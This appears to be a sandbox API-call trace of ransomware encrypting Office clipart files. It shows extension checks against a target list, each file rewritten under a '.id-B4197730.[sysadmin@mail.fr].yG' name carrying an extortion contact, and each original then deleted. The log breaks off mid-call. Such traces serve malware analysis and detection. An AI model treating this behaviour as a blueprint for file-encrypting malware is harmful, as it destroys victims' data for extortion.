	[0056.965] lstrlenW (lpString=".jpg") returned 4
	[0056.965] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.965] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.965] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0056.966] GetLastError () returned 0x0
	[0056.966] ReadFile (in: hFile=0x390, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x108c, lpOverlapped=0x0) returned 1
	[0056.978] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x1090, lpOverlapped=0x0) returned 1
	[0056.979] ReadFile (in: hFile=0x390, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.979] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.979] SetEndOfFile (hFile=0x350) returned 1
	[0056.981] CloseHandle (hObject=0x350) returned 1
	[0056.982] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.982] SetEndOfFile (hFile=0x390) returned 1
	[0056.983] CloseHandle (hObject=0x390) returned 1
	[0056.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.984] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 1
	[0056.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0056.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0056.984] lstrlenW (lpString=".doc") returned 4
	[0056.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.984] lstrlenW (lpString=".docx") returned 5
	[0056.984] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.984] lstrlenW (lpString=".pdf") returned 4
	[0056.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.984] lstrlenW (lpString=".xls") returned 4
	[0056.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.984] lstrlenW (lpString=".xlsx") returned 5
	[0056.984] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.984] lstrlenW (lpString=".ppt") returned 4
	[0056.986] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0056.986] lstrlenW (lpString=".zip") returned 4
	[0056.986] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.986] lstrlenW (lpString=".rar") returned 4
	[0056.986] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.986] lstrlenW (lpString=".bz2") returned 4
	[0056.986] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.986] lstrlenW (lpString=".7z") returned 3
	[0056.986] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0056.987] lstrlenW (lpString=".dbf") returned 4
	[0056.987] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0056.987] lstrlenW (lpString=".1cd") returned 4
	[0056.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0056.987] lstrlenW (lpString=".jpg") returned 4
	[0056.987] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.992] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.992] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0056.992] GetLastError () returned 0x0
	[0056.992] ReadFile (in: hFile=0x39c, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x8d6, lpOverlapped=0x0) returned 1
	[0057.001] WriteFile (in: hFile=0x2f0, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x8e0, lpOverlapped=0x0) returned 1
	[0057.001] ReadFile (in: hFile=0x39c, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0057.001] WriteFile (in: hFile=0x2f0, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0057.001] SetEndOfFile (hFile=0x2f0) returned 1
	[0057.002] CloseHandle (hObject=0x2f0) returned 1
	[0057.852] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.852] SetEndOfFile (hFile=0x39c) returned 1
	[0057.852] CloseHandle (hObject=0x39c) returned 1
	[0057.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0057.853] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 1
	[0057.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0057.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0057.866] lstrlenW (lpString=".doc") returned 4
	[0057.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0057.866] lstrlenW (lpString=".docx") returned 5
	[0057.866] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0057.867] lstrlenW (lpString=".pdf") returned 4
	[0057.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0057.867] lstrlenW (lpString=".xls") returned 4
	[0057.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0057.867] lstrlenW (lpString=".xlsx") returned 5
	[0057.867] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0057.867] lstrlenW (lpString=".ppt") returned 4
	[0057.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0057.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0057.867] lstrlenW (lpString=".zip") returned 4
	[0057.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0057.867] lstrlenW (lpString=".rar") returned 4
	[0057.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0057.867] lstrlenW (lpString=".bz2") returned 4
	[0057.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0057.867] lstrlenW (lpString=".7z") returned 3
	[0057.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0057.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0057.867] lstrlenW (lpString=".dbf") returned 4
	[0057.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0057.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0057.867] lstrlenW (lpString=".1cd") returned 4
	[0057.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0057.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0057.867] lstrlenW (lpString=".jpg") returned 4
	[0057.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0058.934] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0058.934] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0058.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0058.934] GetLastError () returned 0x0
	[0058.934] ReadFile (in: hFile=0x330, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x78c, lpOverlapped=0x0) returned 1
	[0059.666] WriteFile (in: hFile=0x37c, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x790, lpOverlapped=0x0) returned 1
	[0059.667] ReadFile (in: hFile=0x330, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0059.667] WriteFile (in: hFile=0x37c, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0059.667] SetEndOfFile (hFile=0x37c) returned 1
	[0059.667] CloseHandle (hObject=0x37c) returned 1
	[0059.667] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.667] SetEndOfFile (hFile=0x330) returned 1
	[0059.668] CloseHandle (hObject=0x330) returned 1
	[0059.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0059.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 1
	[0059.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0059.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0059.668] lstrlenW (lpString=".doc") returned 4
	[0059.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0059.668] lstrlenW (lpString=".docx") returned 5
	[0059.668] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0059.668] lstrlenW (lpString=".pdf") returned 4
	[0059.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0059.668] lstrlenW (lpString=".xls") returned 4
	[0059.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0059.668] lstrlenW (lpString=".xlsx") returned 5
	[0059.668] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0059.669] lstrlenW (lpString=".ppt") returned 4
	[0059.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0059.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0059.669] lstrlenW (lpString=".zip") returned 4
	[0059.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0059.669] lstrlenW (lpString=".rar") returned 4
	[0059.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0059.669] lstrlenW (lpString=".bz2") returned 4
	[0059.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0059.669] lstrlenW (lpString=".7z") returned 3
	[0059.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0059.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0059.669] lstrlenW (lpString=".dbf") returned 4
	[0059.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0059.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0059.669] lstrlenW (lpString=".1cd") returned 4
	[0059.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0059.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0059.669] lstrlenW (lpString=".jpg") returned 4
	[0059.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0059.669] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.669] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0059.669] GetLastError () returned 0x0
	[0059.670] ReadFile (in: hFile=0x330, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x39e4, lpOverlapped=0x0) returned 1
	[0060.985] WriteFile (in: hFile=0x37c, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x39f0, lpOverlapped=0x0) returned 1
	[0060.986] ReadFile (in: hFile=0x330, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0060.986] WriteFile (in: hFile=0x37c, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0060.986] SetEndOfFile (hFile=0x37c) returned 1
	[0060.986] CloseHandle (hObject=0x37c) returned 1
	[0060.986] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.986] SetEndOfFile (hFile=0x330) returned 1
	[0060.987] CloseHandle (hObject=0x330) returned 1
	[0060.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0060.987] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 1
	[0060.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0060.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0060.987] lstrlenW (lpString=".doc") returned 4
	[0060.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0060.987] lstrlenW (lpString=".docx") returned 5
	[0060.988] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0060.988] lstrlenW (lpString=".pdf") returned 4
	[0060.988] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0060.988] lstrlenW (lpString=".xls") returned 4
	[0060.988] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0060.988] lstrlenW (lpString=".xlsx") returned 5
	[0060.988] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0060.988] lstrlenW (lpString=".ppt") returned 4
	[0060.988] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0060.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0060.988] lstrlenW (lpString=".zip") returned 4
	[0060.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0060.988] lstrlenW (lpString=".rar") returned 4
	[0060.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0060.988] lstrlenW (lpString=".bz2") returned 4
	[0060.988] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0060.988] lstrlenW (lpString=".7z") returned 3
	[0060.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0060.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0060.988] lstrlenW (lpString=".dbf") returned 4
	[0060.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0060.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0060.988] lstrlenW (lpString=".1cd") returned 4
	[0060.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0060.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0060.988] lstrlenW (lpString=".jpg") returned 4
	[0060.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0060.989] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.989] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0060.989] GetLastError () returned 0x0
	[0060.989] ReadFile (in: hFile=0x330, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x85c, lpOverlapped=0x0) returned 1
	[0061.298] WriteFile (in: hFile=0x37c, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x860, lpOverlapped=0x0) returned 1
	[0061.299] ReadFile (in: hFile=0x330, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.299] WriteFile (in: hFile=0x37c, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0061.299] SetEndOfFile (hFile=0x37c) returned 1
	[0061.300] CloseHandle (hObject=0x37c) returned 1
	[0061.300] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.300] SetEndOfFile (hFile=0x330) returned 1
	[0061.300] CloseHandle (hObject=0x330) returned 1
	[0061.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0061.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 1
	[0061.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0061.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0061.301] lstrlenW (lpString=".doc") returned 4
	[0061.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0061.301] lstrlenW (lpString=".docx") returned 5
	[0061.301] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0061.301] lstrlenW (lpString=".pdf") returned 4
	[0061.301] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0061.301] lstrlenW (lpString=".xls") returned 4
	[0061.301] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0061.301] lstrlenW (lpString=".xlsx") returned 5
	[0061.301] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0061.301] lstrlenW (lpString=".ppt") returned 4
	[0061.301] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0061.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0061.301] lstrlenW (lpString=".zip") returned 4
	[0061.301] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0061.301] lstrlenW (lpString=".rar") returned 4
	[0061.301] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0061.301] lstrlenW (lpString=".bz2") returned 4
	[0061.301] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0061.301] lstrlenW (lpString=".7z") returned 3
	[0061.301] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0061.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0061.302] lstrlenW (lpString=".dbf") returned 4
	[0061.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0061.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0061.302] lstrlenW (lpString=".1cd") returned 4
	[0061.302] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0061.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0061.302] lstrlenW (lpString=".jpg") returned 4
	[0061.302] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0061.302] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.302] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0061.302] GetLastError () returned 0x0
	[0061.302] ReadFile (hFile=0x330, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0) 

Thread:
	id = 10
	os_tid = 0x468

	[0039.962] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10000) returned 0x6b86e0
	[0039.962] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10000) returned 0x6ffaf0
	[0039.963] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6aa1e8
	[0039.963] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6) returned 0x6eeb20
	[0039.963] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6aa188
	[0039.963] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x100000) returned 0x38fa020
